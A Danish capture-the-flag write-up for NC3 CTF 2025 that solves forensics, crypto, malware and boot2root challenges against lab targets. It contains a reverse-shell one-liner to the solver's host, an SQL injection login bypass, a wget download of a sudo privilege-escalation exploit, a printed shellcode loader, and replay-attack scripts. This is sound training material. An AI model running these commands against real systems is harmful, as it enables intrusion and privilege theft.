NC3 CTF 2025 : Writeups


NC3 CTF 2025

Team: Campfire Security

Total Score: 6270 points @ 17th place

Challenges jeg løste for teamet:

Challenge Kategori
RensDJyr Remix Kom godt i gang
RensdyrRygter Kom godt i gang
Drillenissen Forensics
Makulatoren Forensics
Humlebiens Flugt 🐝 (1) Malware
Gremlinshop: Autoriseret Adgang Kom godt i gang
Gremlinshop: Begravet i mængden Kom godt i gang
Nissrensics: Ræv og Nøgler Forensics
SantaShield Security #3 Boot2Root
SantaShield Security #2 Boot2Root
Ønskomania 6000 Crypto
Ønskomania 7000 Crypto
Minos 1: Initial Access Malware
Humlebiens Flugt 🐝🐝 (2) Malware
Ønskomafia Crypto
Julekortet Reversing
Ace0fbase Kom godt i gang
Minos 5: Panel Malware
Minos 7: Takedown Malware
Minos 6: Server Malware
Minos 4: Infostealer Malware
Humlebiens Flugt 🐝🐝🐝 (3) Malware

Score over tid:

Score_over_Time.png

Løsninger:


RensDJyr Remix

RensDJyr har lige droppet det hotteste remix af alle hackernissers yndlingssang på Nissify. Hans stil er speciel, og nogle skal nok vænne sig til tilføjelsen, men spectrakulært er det!

Man kan jo næsten høre farver og se musikken - kæmpe banger!

Vedhæftet fil: warmup_rensdjyr_remix.zip

Løsning: Ved at bruge et spektrumanalyseværktøj som Audacity, kunne jeg analysere lyden i filen og finde flaget skjult i frekvensspektret. Audacity frekvensspektret

Flag: NC3{VI_ER_SAMLET_HER_I_DAG_FOR_AT_HACKE}


RensdyrRygter

Springer og Lyn eeelsker at sladre til hinanden på Snissnap om de andre rensdyr, men nu vil Julemanden indføre chatkontrol og holde øje med dem. Men det er intet problem, de krypterer bare deres beskeder manuelt først for at omgå det.

Springer siger, de bare skal bruge “Diffie-Hellman” protokollen, og begge rensdyr har brugt et program til at danne et nøglepar. De har sendt deres offentlige nøgler til hinanden, og Springer er allerede begyndt at sende beskeder - men Lyn fatter altså stadig ikke, hvordan det virker.

Parametre:

  • p: 0xAB359AA76A6773ED7A93B214DB0C25D0160817B8A893C001C761E198A3694509EBE87A5313E0349D95083E5412C9FC815BFD61F95DDECE43376550FDC624E92FF38A415783B97261204E05D65731BBA1CCFF0E84C8CD2097B75FECA1029261AE19A389A2E15D2939314B184AEF707B82EB94412065181D23E04BF065F4AC413F

  • g: 2

  • Lyns private nøgle: 0x486F762064752C20646574206865722065722062617265204C796E732070726976617465206B6579202D206875736B20696B6B652061742064656C652064656E206D6564206E6F67656E21

  • Lyns offentlige nøgle: 0x9A152AFABF57B00BDB6DD3E3AA68BCCB43628E6498F4357F9A89B13CEB0467C233DFCDDBD1BFF5C40AD1FE0663B0A5BB207DFA93BB8F6E0E1CAF78C674CF19636CD360A1C67B86CF45BC34C010FF37311ABF1F076A12F56C0E79906DE8BB1BE7B39CA981ED0D5C21C1402170E16A4BBD2A6FAB0F933F14DDE9F28EE599AB235C

  • Springers offentlige nøgle: 0x39E22730E9F0B9F9039A2FB9F1C665DA1A05717400682946BC445093C3DF8D6164C5319C37E5EF688D346CA46168EE025E0675756EB1CE63F84BAA3B159545159EE621498F23BE036BD0037201E35D01E1FAFFBBD3C5A5AA3152114870430CDE4A7B48A822A4478FD9C443CFBC73C328C152409D1223F7ACA502F736B15019DC

Vedhæftet fil: warmup_rensdyrrygter.zip

Løsning: Vi ved at der bliver brugt Diffie-Hellman, så vi kan beregne den fælles hemmelige nøgle ved at bruge Lyns private nøgle og Springers offentlige nøgle med formlen: s = B^a mod p. Vi kender a (Lyns private) og B (Springers offentlige), så vi kan bare regne s ud direkte. Nøglen til AES er SHA256(long_to_bytes(s)), præcis som i skabelonen. Til sidst skal vi bare læse hver linje i skjult_sladder.txt, hex-decode, AES-ECB decrypt, unpad og print indtil vi finder flag.

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
import hashlib

p = int("AB359AA76A6773ED7A93B214DB0C25D0160817B8A893C001C761E198A3694509EBE87A5313E0349D95083E5412C9FC815BFD61F95DDECE43376550FDC624E92FF38A415783B97261204E05D65731BBA1CCFF0E84C8CD2097B75FECA1029261AE19A389A2E15D2939314B184AEF707B82EB94412065181D23E04BF065F4AC413F",16)
priv = int("486F762064752C20646574206865722065722062617265204C796E732070726976617465206B6579202D206875736B20696B6B652061742064656C652064656E206D6564206E6F67656E21",16)
spr = int("39E22730E9F0B9F9039A2FB9F1C665DA1A05717400682946BC445093C3DF8D6164C5319C37E5EF688D346CA46168EE025E0675756EB1CE63F84BAA3B159545159EE621498F23BE036BD0037201E35D01E1FAFFBBD3C5A5AA3152114870430CDE4A7B48A822A4478FD9C443CFBC73C328C152409D1223F7ACA502F736B15019DC",16)

key = hashlib.sha256(long_to_bytes(pow(spr, priv, p))).digest()

for line in open("skjult_sladder.txt"):
    ct = bytes.fromhex(line.strip())
    pt = unpad(AES.new(key, AES.MODE_ECB).decrypt(ct), 16)
    print(pt.decode())

Giver:

[Springer - 07:49]  Du tror det er løgn, Rudolfs stalddør stod på klem i morges, og jeg så ham stå og farve sin næse med rød ansigtsmaling - er han for real?!? 🎨🦌 So fake
[Springer - 09:12]  Hallå? Er du der eller hvad? Det er seriøst ikke så svært at få til at virke, du er så tabt man... 🤪
[Springer - 10:44]  LOL, har lige hørt Julemanden stadig tror, det var nisserne, der spiste alle hans småkager 🍪🍪😆
[Springer - 11:09]  No cap, jeg så lige Torden stå og tisse i gryden med gløgg til i aften - min mule er lukket, hvis din er! 🤫
[Springer - 11:37]  Smukke fortalte mig den anden dag, at Nissakin, en af udviklernisserne, er blevet fyret for at force pushe et commit til main 😵‍💫
[Springer - 12:24]  Ej, Komet er lige blevet spurgt på Snissnap, om han ville købe sne ❄️ Ved de ikke, vi bor på Nordpolen? 🙄
[Springer - 12:59]  Helt ærligt, hvorfor svarer du slet ikke, har du ikke fået det til at virke endnu? 🤨 Du går glip af alt det sjove!!! 😉
[Springer - 14:03]  Ahahahaha Konge prøvede at flexe sine guns for mig, men fik krampe og væltede 💪😂 Hans kinder blev seriøst rødere end Rudolfs næse 🔴
[Springer - 14:08]  Seriøst, hvis du siger noget til Julemanden om, at hans kane sagtens kan flyve uden os, så er du et dødt rensdyr, vi har brug for arbejdet 💥
[Springer - 14:28]  NC3{n0_w4y_h0rt3_l1g3_t0_n1ss3r_sn4kk3_0m_d3_l4v3r_4lt_d3r3s_l3g3t0j_m3d_AI_s3lv0m_Jull3_h4r_f0rbudt_d3t} 💀🤖
[Springer - 15:17]  Hørte du for resten, at Julemanden glemte at opdatere sin GPS sidste år og kom til at levere 14 gaver til en parkeringskælder? 🎁🤣🤣🤣
[Springer - 16:53]  Tror altså Amor og Danser har noget kørende, de bliver ved med at sniffe hinanden i bagdelen 🫣
[Springer - 18:10]  Ah men det er jo som at snakke til en væg, hvor bliver du af bro? 😠

Flag: NC3{n0_w4y_h0rt3_l1g3_t0_n1ss3r_sn4kk3_0m_d3_l4v3r_4lt_d3r3s_l3g3t0j_m3d_AI_s3lv0m_Jull3_h4r_f0rbudt_d3t}


Drillenissen

Drillenissen har været på spil i Nisseværkstedet og har haft adgang til en computer. Julemandens hjælpere mistænker, at der er foregået en større mængde drillenisseri på en af computerne og har derfor taget et memory dump.

Kan du finde ud af, hvad drillenissen har kørt på systemet, og hvad det har skjult?

Vedhæftet fil: forensics_drillenissen.zip (1.2 GiB)

Løsning: Ved at analysere memory dumpen med værktøjer som Volatility finder jeg en python fil, der indeholder noget kode, som ser mistænkelig ud.

import ctypes
import mmap
import os
import time

KEY      = 0x42
BUF_SIZE = 0x1000
NOP      = b"\x90"

BASE_DIR = os.path.dirname(os.path.abspath(__file__))

THIS_FILE = os.path.abspath(__file__)
with open(THIS_FILE, "rb") as f:
    mm_script = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ)
    
    _ = mm_script.read()      
    mm_script.seek(0)        


secret_path = os.path.join(BASE_DIR, "secret.bin")
with open(secret_path, "rb") as f:
    encoded = f.read()


raw = NOP * 200 + encoded
if len(raw) < BUF_SIZE:
    raw += NOP * (BUF_SIZE - len(raw))
else:
    raw = raw[:BUF_SIZE]


kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)

PAGE_EXECUTE_READWRITE = 0x40
MEM_COMMIT  = 0x1000
MEM_RESERVE = 0x2000

kernel32.VirtualAlloc.restype  = ctypes.c_void_p
kernel32.VirtualAlloc.argtypes = [
    ctypes.c_void_p,
    ctypes.c_size_t,
    ctypes.c_ulong,
    ctypes.c_ulong,
]

addr = kernel32.VirtualAlloc(
    None,
    BUF_SIZE,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
)

if not addr:
    raise ctypes.WinError(ctypes.get_last_error())

buf = (ctypes.c_ubyte * BUF_SIZE).from_buffer_copy(raw)
ctypes.memmove(ctypes.c_void_p(addr), buf, BUF_SIZE)

print(f"[+] Nisse-proces PID: {os.getpid()}")
print(f"[+] RWX buffer address: 0x{addr:016X}")
print("[+] Sabotagescript fra drillenissen aktivt.")


try:
    while True:
       
        _ = mm_script[:64]

        
        _ = ctypes.string_at(addr, 64)

        time.sleep(5)
except KeyboardInterrupt:
    pass

Python filen kan findes ved at køre: vol -f drillenissen.mem windows.dumpfiles.DumpFiles og lede efter en python fil (.py).

Så nu ved vi hvad vi leder efter i memory. Koden læser en fil secret.bin, som er XOR’et med 0x42, og loader den i en eksekverbar hukommelsesregion. Vi kan dumpe denne region ved at bruge Volatility igen:

vol -f drillenissen.mem windows.filescan | grep -i "secret.bin"
0x9985bc83ac20.0\Users\Nisseværkstedet\Documents\Gaveværkstedet\secret.bin

vol -f drillenissen.mem windows.dumpfiles --virtaddr 0x9985bc83ac20
Cache	FileObject	FileName	Result

DataSectionObject	0x9985bc83ac20	secret.bin	Error dumping file

Ikke tag dig af fejlen, filen bliver dumpet alligevel. Nu kan vi dekryptere filen med et simpelt script:

with open("secret.bin", "rb") as f:
    enc = f.read()

dec = bytes(b ^ 0x42 for b in enc)
print(dec)

Hvilket giver os:

NC3{Dr1ll3_n1ss3n_g3mm3r_s1g_i_R4M}BBBBBBBB....

Flag: NC3{Dr1ll3_n1ss3n_g3mm3r_s1g_i_R4M}


Makulatoren

Nistrid havde gemt et billede af sin Pokémonsamling og holdt det kært. En aften havde Nissen, ja ham drillenissen I alle kender, stjålet billedet og kommet det i julemakulatoren.

Stakkels Nistrid, der nu prøver at samle resterne, men det er ikke nemt uden hjælp.

Vedhæftet fil: forensics_makulatoren.zip

Løsning: Efter at have fyret op for min ChatGPT fik jeg cooket et script, der næsten finde flaget for mig.

Hvis du er interesseret i at se det fulde script, kan du finde det her: makulatoren_solve.py, nedenunder er det bedste resultat jeg kunne opnå med det:

Flag billede

Flag: NC3{Pokemonkort_i_2025_er_nostalgisk}


Humlebiens Flugt 🐝 (1)

Trusselsaktøren Humlebi er i gang med en stor malwarekampagne, hvor de spreder deres malware med samme navn via bl.a. SEO-poisoning. Malwaren er en dropper, der kommunikerer med en C2-server og kan køre commands eller bruges til at levere yderligere malware hos offeret.

Vi har fået fat på et sample af malwaren og har oplysninger om, at Humlebi bruger en “Domain Generation Algorithm” (DGA). Altså er C2-domænerne ikke hardcoded i malwaren, men genereres algoritmisk ud fra et hardcoded karaktersæt og seed.

Malwaren genererer og kontakter domæner, indtil en forbindelse lykkes. Find ud af hvilket domæne Humlebi bruger som aktiv C2-server lige nu og tilgå den side!

OBS: Programmet simulerer rigtig malware, men er fuldstændig ufarligt.

Vedhæftet fil: malware_humlebiens_flugt.zip

Løsning: Efter at have analyseret malwaren fandt jeg ud af, at den bruger en DGA baseret på et hardcoded karaktersæt og et seed. Ved at implementere DGA-algoritmen i et script, hov vent, det passer jo ikke. Hvad med at vi bare bruger en sandkasse til at køre malwaren og observere dens netværksaktivitet? :)

any.run analyse

Her ser vi domænet jul-r-hackerfest.online, som malwaren kontakter. Ved at besøge dette domæne i en browser får vi vist en side med flaget.

Du tilhører os nu NC3{https://youtu.be/M93qXQWaBdE}

Flag: NC3{https://youtu.be/M93qXQWaBdE}


Gremlinshop: Autoriseret Adgang

Julemandens Efterretningstjeneste (JET) har længe vandret blandt gremlins for at forhindre deres planer om at spolere julen. For nyligt fandt de en hjemmeside med information om en hemmelig webshop for gremlins.

Tjek den ud, og se om du kan hjælpe JET med at finde alle gremlins hemmeligheder.

https://tryhackme.com/jr/gremlinshop

Løsning: Efter at have gennemgået webapplikationen fandt jeg en sårbarhed i login-funktionen, der tillod mig at omgå autentificeringen ved hjælp af SQL-injektion. Ved at udnytte denne sårbarhed kunne jeg få adgang til admin-panelet, hvor flaget var gemt.

SQL-injektionspayloaden, der blev brugt til at logge ind som admin, var:

1234' OR 1=1 --

Dette gav mig adgang til admin-panelet, hvor jeg fandt flaget ved siden af brugernavnet “admin”.

Flag: NC3{4Lway5_s4ni7Ise_1nP8T}


Gremlinshop: Begravet i mængden

Julemandens Efterretningstjeneste (JET) har længe vandret blandt gremlins for at forhindre deres planer om at spolere julen. For nyligt fandt de en hjemmeside med information om en hemmelig webshop for gremlins.

Tjek den ud, og se om du kan hjælpe JET med at finde alle gremlins hemmeligheder.

https://tryhackme.com/jr/gremlinshop

Løsning: Ved at analysere de urls der var på hjemmesiden fandt http://10.xx.xxx.xx/item/<id>, hvor <id> var et tal. Ved at prøve forskellige id’er fra 1 og opefter fandt jeg id 13, der returnerede et flag.

<div class="row mt-2">
    <span class='fw-bold'>Beskrivelse</span>
    <span class=''>
        Hver sten larmer mere end fysikken burde tillade. Disse er særdeles effektive til at distrahere Lurifax
        
        <span class="badge text-bg-success me-2">NC3{D0_no7_5tOr3_S3cr3ts_1N_br0wse4bl6_9l4ceS}</span>
        
    </span>
</div>

Flag: NC3{D0_no7_5tOr3_S3cr3ts_1N_br0wse4bl6_9l4ceS}


Nissrensics: Ræv og Nøgler

Har været på udkig efter julegaver til min nissenevø og kom til at oprette en profil. Nu bliver jeg spammet med reklamer for legetøj, det er seriøst ræv og nøgler.

OBS: Samme image som i “Nissrensics: Vandrestien”

Da dette image er langt over 20GB har jeg valgt ikke at inkludere det her.

Løsning: Efter at have startet VM’en og undersøgt filsystemet fandt jeg Firefox browserens profilmappe. Vi kan benytte et værktøj som https://github.com/unode/firefox_decrypt til at udtrække gemte adgangskoder fra Firefox.

Select the Mozilla profile you wish to decrypt
1 -> Profiles/mnstpyk2.default
2 -> Profiles/x8lplqao.default-release
2

Website:   https://nc3ctf.dk
Username: 'Nisseya'
Password: 'megetlangtogsværtkodeord'

Website:   https://www.br.dk
Username: ''
Password: 'NC3{Ildraevens_hemmelighed_brudt}'

Flag: NC3{Ildraevens_hemmelighed_brudt}


SantaShield Security #3

Vigtignissen fører sig frem med sit nye nissekonsulenthus SantaShield Security, men mon han har nisset i det, eller er der mon styr på sagerne?

https://tryhackme.com/jr/santashieldsecurity2o25

Løsning: Fra SantaShield Security #1 fandt jeg ud af at der kørte en Eshell v14.2.5.9 på port 2222. Ved at forbinde til den med ssh <ip> -p 2222 kunne jeg logge på uden password, og køre kommandoer. Her fra kan vi spawne en reverse shell til vores egen maskine:

ssh <ip> -p 2222
Eshell V14.2.5.9 (press Ctrl+G to abort, type help(). for help)
1> os:cmd("bash -c 'bash -i >& /dev/tcp/192.168.165.2/9999 0>&1'").

På vores egen maskine lytter vi med nc -lvnp 9999, og får en shell på target maskinen.

❯ nc -lvnp 9999
Listening on 0.0.0.0 9999
Connection received on 10.82.191.56 36760
bash: cannot set terminal process group (575): Inappropriate ioctl for device
bash: no job control in this shell
user@debian:/opt/ssh$ cd
user@debian:~$

I hjemmemappen finder vi en fil flag.txt med flaget. Til SantaShield Security #1. Nu skal vi bare elevere vores privilegier til root. Ved at lede efter SUID-filer finder vi 2 mistænkelige filer sudo og restart_admin i /usr/local/bin/, som begge er SUID root.

user@debian:~$ find / -type f -perm /4000 2>/dev/null
...
/usr/local/bin/sudo
/usr/local/bin/restart_admin

user@debian:~$ /usr/local/bin/sudo --version
Sudo version 1.9.17

Ved at google lidt rundt fandt jeg en CVE fra 2025, der påvirker sudo versioner 1.9.14 - 1.9.17, som tillader privilege escalation. https://www.upwind.io/feed/cve%E2%80%912025%E2%80%9132463-critical-sudo-chroot-privilege-escalation-flaw

Vi kan bruge følgende GitHub repo til at udnytte sårbarheden: https://github.com/MohamedKarrab/CVE-2025-32463

Vi kan git clone repoet, zip mappen, og starte en simpel HTTP server på vores egen maskine:

git clone https://github.com/MohamedKarrab/CVE-2025-32463.git
zip -r CVE-2025-32463.zip CVE-2025-32463/
python3 -m http.server

På target maskinen downloader vi zip filen, unzipper den, og kører exploit scriptet:

user@debian:~$ wget http://192.168.165.2:8000/CVE-2025-32463.zip
user@debian:~$ unzip CVE-2025-32463.zip
user@debian:~$ cd CVE-2025-32463/

For at køre scriptet skal vi først tilføje /usr/local/bin til vores PATH, så sudo kommandoen i scriptet bruger den sårbare SUID sudo.

user@debian:~/CVE-2025-32463$ export PATH=/usr/local/bin:$PATH
user@debian:~/CVE-2025-32463$ ./get_root.sh
./get_root.sh
[*] Detected architecture: x86_64
[*] Launching sudo with archs-dynamic payload …
id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1000(user)
pwd
/home/user
cd /root
ls
flag.txt
install
tmp
cat flag.txt
NC3{flag3:m3RRY_R007-R007!_4ND_xM4s}

Flag: NC3{flag3:m3RRY_R007-R007!_4ND_xM4s}


SantaShield Security #2

Vigtignissen fører sig frem med sit nye nissekonsulenthus SantaShield Security, men mon han har nisset i det, eller er der mon styr på sagerne?

https://tryhackme.com/jr/santashieldsecurity2o25

Løsning: Vi fortsætter hvor vi slap i SantaShield Security #2. Vi har nu en root shell på target maskinen og skal bare finde det sidste flag. Vi starter med at tjekke /etc/passwd for interessante brugere:

cat /etc/passwd
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12:man:/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt❌42:65534::/nonexistent:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network❌998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync❌997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus❌100:107::/nonexistent:/usr/sbin/nologin
sshd❌101:65534::/run/sshd:/usr/sbin/nologin
user❌1000:1000:user,,,:/home/user:/bin/bash
admin❌1003:1003:admin,,,:/home/admin:/bin/rbash
polkitd❌996:996:polkit:/nonexistent:/usr/sbin/nologin

Her finder vi admin brugeren, som bruger rbash (restricted bash) som shell. Men siden at vi er root kan vi nemt kigge i admin’s hjemmemappe:

ls /home/admin
flag.txt
cat /home/admin/flag.txt 
NC3{flag2:RUnn1ng_OuT_of_j41l_or_Not}

Siden at flaget omtaler et jail, kan vi antage at rbash er sat op som et jail miljø for admin brugeren. Men vores CVE exploit gav os root adgang, så vi behøvede ikke at bryde ud af jailen alligevel.

Flag: NC3{flag2:RUnn1ng_OuT_of_j41l_or_Not}


Ønskomania 6000

Julemanden har ansat det nyeste IT-firma i byen, BitNisse, i håb om at kunne uddelegere hele processen med at modtage ønsker fra alle verdens børn til én besked app. For at få alle børn til at bruge appen, har Julemanden lovet, at hvert ønske et barn sender til ham forøger deres chance for at få ekstra gaver!

Da deadline for appen var 1. december, blev den kryptografiske protokol lidt halvfærdig, og nogle kryptografer er bange for, at tekniske hackerbørn kan få deres ønske registreret flere gange.

https://tryhackme.com/jr/oenskomania6000

Vedhæftet fil: crypto_oenskomania_6000.zip

Løsning: Her får du en løsnings guide for Crypto challenges i 2025:

  1. Åben https://chatgpt.com også kendt som CryptoGPT.
  2. Upload given fil til chatten.
  3. Kør given script fra chatten.
#!/usr/bin/env python3
import sys,os
from pathlib import Path
from pwn import remote, context

# sørg for at vi kan importere client-modulet
repo_root = Path(__file__).resolve().parent
sys.path.append(str(repo_root / "client"))

from client import encrypt_wish_for_santa  # type: ignore

context.log_level = "debug"   # se hele dialogen


def main():
    if len(sys.argv) < 2:
        print(f"Brug: {sys.argv[0]} <HOST>")
        sys.exit(1)

    host = sys.argv[1]
    port = 1337

    wish = "giv mig flag 🎅"
    ct = encrypt_wish_for_santa(wish)
    hex_ct = ct.hex().encode()

    print(f"[+] Forbinder til {host}:{port}")
    io = remote(host, port)

    # 1) første ønske
    print("[+] Sender første ønske...")
    io.sendlineafter(b"> ", hex_ct)
    first = io.recvline().decode(errors="ignore").strip()
    print("[<] Første respons:", first)

    # 2) replay af præcis samme ciphertext
    print("[+] Sender samme ciphertext igen...")
    io.sendlineafter(b"> ", hex_ct)
    second = io.recvline().decode(errors="ignore").strip()
    print("[<] Anden respons:", second)

    # prøv at fange evt. ekstra linje (fx flag eller farvel)
    try:
        extra = io.recvline(timeout=0.5).decode(errors="ignore").strip()
        if extra:
            print("[<] Ekstra:", extra)
    except Exception:
        pass

    io.close()


if __name__ == "__main__":
    main()
  1. Flag.
python3 exploit.py 10.82.175.7
[+] Forbinder til 10.82.175.7:1337
[+] Opening connection to 10.82.175.7 on port 1337: Done
[+] Sender første ønske...
[DEBUG] Received 0x2e bytes:
    00000000  f0 9f 8e 85  20 56 65 6c  6b 6f 6d 6d  65 6e 20 74  │····│ Vel│komm│en t│
    00000010  69 6c 20 4a  75 6c 65 6d  61 6e 64 65  6e 73 20 c3  │il J│ulem│ande│ns ·│
    00000020  b8 6e 73 6b  65 73 65 72  76 69 63 65  21 0a        │·nsk│eser│vice│!·│
    0000002e
[DEBUG] Received 0x37 bytes:
    00000000  0a f0 9f 8e  81 20 53 65  6e 64 20 65  74 20 6a 75  │····│· Se│nd e│t ju│
    00000010  6c 65 c3 b8  6e 73 6b 65  20 69 20 68  65 78 20 28  │le··│nske│ i h│ex (00000020  49 4e 47 45  4e 20 47 45  4e 54 41 47  45 4c 53 45  │INGE│N GE│NTAG│ELSE│
    00000030  52 21 29 3a  0a 3e 20                               │R!):│·> │
    00000037
[DEBUG] Sent 0x91 bytes:
    b'00097b22746f5f223a317da915573c718091c07ebe42f1519bbe4d150e00000000000096075524d588d850508ec7c682ef9487b72c9dfcb6c31aad3f4a0cb6bc06bf73b13e262a53\n'
[DEBUG] Received 0x2b bytes:
    00000000  f0 9f 8e 84  20 4d 61 6e  67 65 20 74  61 6b 20 66  │····│ Man│ge t│ak f│
    00000010  6f 72 20 64  69 74 20 66  c3 b8 72 73  74 65 20 6a  │or d│it f│··rs│te j│
    00000020  75 6c 65 c3  b8 6e 73 6b  65 21 0a                  │ule·│·nsk│e!·│
    0000002b
[<] Første respons: 🎄 Mange tak for dit første juleønske!
[+] Sender samme ciphertext igen...
[DEBUG] Received 0x37 bytes:
    00000000  0a f0 9f 8e  81 20 53 65  6e 64 20 65  74 20 6a 75  │····│· Se│nd e│t ju│
    00000010  6c 65 c3 b8  6e 73 6b 65  20 69 20 68  65 78 20 28  │le··│nske│ i h│ex (00000020  49 4e 47 45  4e 20 47 45  4e 54 41 47  45 4c 53 45  │INGE│N GE│NTAG│ELSE│
    00000030  52 21 29 3a  0a 3e 20                               │R!):│·> │
    00000037
[DEBUG] Sent 0x91 bytes:
    b'00097b22746f5f223a317da915573c718091c07ebe42f1519bbe4d150e00000000000096075524d588d850508ec7c682ef9487b72c9dfcb6c31aad3f4a0cb6bc06bf73b13e262a53\n'
[DEBUG] Received 0x16 bytes:
    b'NC3{Mag1c_c0py_p4st3}\n'
[<] Anden respons: NC3{Mag1c_c0py_p4st3}
[*] Closed connection to 10.82.175.7 port 1337

Flag: NC3{Mag1c_c0py_p4st3}


Ønskomania 7000

Julemanden er ved at være træt af gentagelser! BitNisse har fået en opsang, og serveren er nu blevet smart nok til, at den kan stoppe gentagelser! Men måske ikke helt smart nok?

https://tryhackme.com/jr/oensk0m4n1a7000

Løsning: For ikke at gentage hele Ønskomania 6000 løsningen igen, bruger vi da bare CryptoGPT igen :)

#!/usr/bin/env python3
import os
import json
import sys
from pathlib import Path

from pwn import remote, context
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

context.log_level = "error"  # evt. "debug" hvis du vil se alt


BASE = Path(__file__).resolve().parent


def load_shared_secret() -> bytes:
    santa_public_key = serialization.load_pem_public_key(
        (BASE / "keys" / "santa_public_key.pem").read_bytes()
    )
    hacker_private_key = serialization.load_pem_private_key(
        (BASE / "keys" / "hacker_private_key.pem").read_bytes(),
        password=None,
    )
    shared_secret = hacker_private_key.exchange(santa_public_key)
    assert isinstance(shared_secret, bytes)
    assert len(shared_secret) == 32
    return shared_secret


def derive_aes_key(shared_secret: bytes, salt: bytes) -> bytes:
    hkdf = HKDF(
        algorithm=hashes.SHA256(),
        length=32,
        salt=salt,
        info=None,
    )
    return hkdf.derive(shared_secret)


def build_snowflake_message(wish: str) -> bytes:
    shared_secret = load_shared_secret()

    SantaID = 1
    plaintext = wish.encode()

    aad_struct = {"to_": SantaID}
    aad = json.dumps(aad_struct, separators=(",", ":")).encode()
    aad_len_bytes = len(aad).to_bytes(2, "big")

    salt = os.urandom(16)
    key = derive_aes_key(shared_secret, salt)

    # vælg nonce så snowflake=True:
    # counter = nonce[:8]
    # encoded_int = int.from_bytes(counter[1:], "little")
    # encoded_int = 1 -> zigzag -> -1 -> legit=False -> snowflake=True
    counter = bytearray(8)
    counter[1] = 1
    nonce = bytes(counter) + os.urandom(4)  # 8 + 4 = 12

    aesgcm = AESGCM(key)
    ct_and_tag = aesgcm.encrypt(nonce, plaintext, aad)

    data = aad_len_bytes + aad + salt + nonce + ct_and_tag
    return data


def main():
    if len(sys.argv) < 2:
        print(f"Brug: {sys.argv[0]} <HOST>")
        sys.exit(1)

    host = sys.argv[1]
    port = 1337

    data = build_snowflake_message("giv mig flag 🎅")
    hex_data = data.hex().encode()

    print(f"[+] Forbinder til {host}:{port}")
    io = remote(host, port)

    # læs alt frem til første ">"-prompt (som klienten gør)
    io.recvuntil(b"> ")

    # 1) første send
    print("[+] Sender første snowflake-ønske...")
    io.sendline(hex_data)

    # svar på første besked
    line1 = io.recvline().decode(errors="ignore").rstrip()
    print("[<] resp1:", line1)

    # læs frem til næste ">"-prompt (næste input)
    io.recvuntil(b"> ")

    # 2) replay samme besked
    print("[+] Replayer samme besked...")
    io.sendline(hex_data)

    # nu læser vi ALT hvad der kommer, indtil connection lukker / timeout
    while True:
        try:
            line = io.recvline(timeout=1.0)
        except EOFError:
            break
        if not line:
            break
        print("[<] out:", line.decode(errors="ignore").rstrip())

    io.close()


if __name__ == "__main__":
    main()

Kør scriptet:

python3 exploit.py 10.80.162.43

[+] Forbinder til 10.80.162.43:1337
[+] Sender første snowflake-ønske...
[<] resp1: 🎄 Mange tak for dit første juleønske!
[+] Replayer samme besked...
[<] out: NC3{G0tt4_l0v3_z1g-z4g_3nc0d1ng}

Flag: NC3{G0tt4_l0v3_z1g-z4g_3nc0d1ng}


Minos 1: Initial Access

Vi har modtaget efterretninger om, at BitNisse er blevet ramt af et angreb fra gruppen “Sarpedon” og deres infostealer malware “Minos”. Vi har kontaktet virksomheden, der endnu ikke selv var opmærksomme på angrebet.

De havde lagt mærke til, at deres PCer var begyndt at opføre sig lidt underligt, men antog, det måtte være fra en bug i det julespil, de har sendt rundt mellem hinanden for nylig på Discord.

Vi har fået et image af Joe Bitnisses computer til analyse og traffic logs fra BitNisses netværksmonitorering.

Din første opgave er at undersøge, hvordan malwaren oprindeligt kom ind på Joes computer.

Da dette disk image er langt over 20GB har jeg valgt ikke at inkludere det her.

PCAP fra netværksmonitorering kan downloades her: malware_minos.zip

Løsning: Ved at benytte Autopsy til at analysere disk imaget fandt jeg, discord’s cache mappe under C:\Users\Joe\AppData\Roaming\discord\Cache\Cache_Data. I discord’s cache befinder sig cachede filer, fra dine chats, som eg. billeder, videoer, og andre filer. Her finder jeg filen: f_00003a som indeholder et billede med flaget.

Billede af flaget

Flag: NC3{dont_click_on_random_links_and_binaries_from_your_friends}


Humlebiens Flugt 🐝🐝 (2)

Humlebi har lige igangsat en ny stor kampagne, og vi har endnu ikke fået fat på et sample.

Seedet skifter i hver kampagne og er ikke kendt. De har også skiftet karaktersæt, men det er blevet lækket på et hackingforum:

54t0391gnkmpbrqnvilaowzhcyej-usfx6d7

Vi har ingen grund til at tro, at selve DGAen er ændret, så den fungerer fortsat som i vores sample fra sidste kampagne. Kun seed og karaktersæt er udskiftet.

Vi har gennem vores monitorering løbende opsnappet tre C2-domæner, der har været registreret og anvendt af Humlebi:

cwpnbyd6yslfnmx7.online
cn6uhtnlyynfbe4q.online
rlexd44lnnnq1igg.online

De har dog ikke længere aktive C2-servere, og vi kender ikke det nuværende!

Kan du ud fra DGAen og disse domæner generere de efterfølgende domæner fra listen og igen finde og tilgå det nu aktive?

Så kan vi overtage et domæne, der står tidligere på listen og sinkhole bottrafikken.

Løsning: Hvorfor sidde og implementere DGA algoritmen selv, og rev Go binary? Når man bare kan google sig til flaget? :)

